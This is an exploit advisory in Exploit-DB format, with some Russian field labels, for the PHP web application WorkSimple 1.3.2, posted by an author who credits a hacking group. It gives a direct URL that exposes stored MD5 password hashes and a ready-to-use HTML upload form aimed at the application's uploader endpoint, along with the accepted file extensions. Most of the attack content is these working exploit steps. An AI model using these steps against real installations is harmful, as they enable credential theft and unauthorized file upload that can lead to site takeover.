Exploit WorkSimple 1.3.2 - Multiple Vulnerabilities

[Exploiter]

EDB-ID

11550

Проверка EDB

1. Пройдено

Автор

JIKO

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2010-02-23

[ Multiple Remote Vulnerabilities ]
----------[Script Info]

Moi : JIKO
Site : No-exploit.Com
Email : mm :( Moghla9 Ferme Closed

----------[Script Info]

Name : WorkSimple
Site:http : http://geekness.eu/ or http://easton.4fd.us/
Download : http://geekness.eu/sites/default/files/worksimple_1.3.2.zip

----------[exploit Info]

1]~[Password Disclosure Vulnerability]

For All Version

http://localhost/Path/data/secret.php

Name:Md5(Pass)

1]~[Remote File Upload Vulnerability]
file :/modules/uploader.php?startupload
array(".phps",".txt",".html",".png", ".html", ".htm",".jpg",".png", ".bmp",".c",".cpp", ".css", ".h", ".gif", ".torrent", ".jpeg");
---
<form enctype='multipart/form-data' action='[SITE]/modules/uploader.php?startupload' method='post'>
<input type='hidden' name='MAX_FILE_SIZE' value='500000' />
Upload a file: <input name='uploadedfile' size='14' type='file' />
<BR><BR>
<input class='button' type='submit' value='upload' />
</form>
---

HxH, Cyb3r-DeViL, leopard, ZaIdOoHxHaCkEr, virusman, The Sadhacker,
Member No-exploit.Com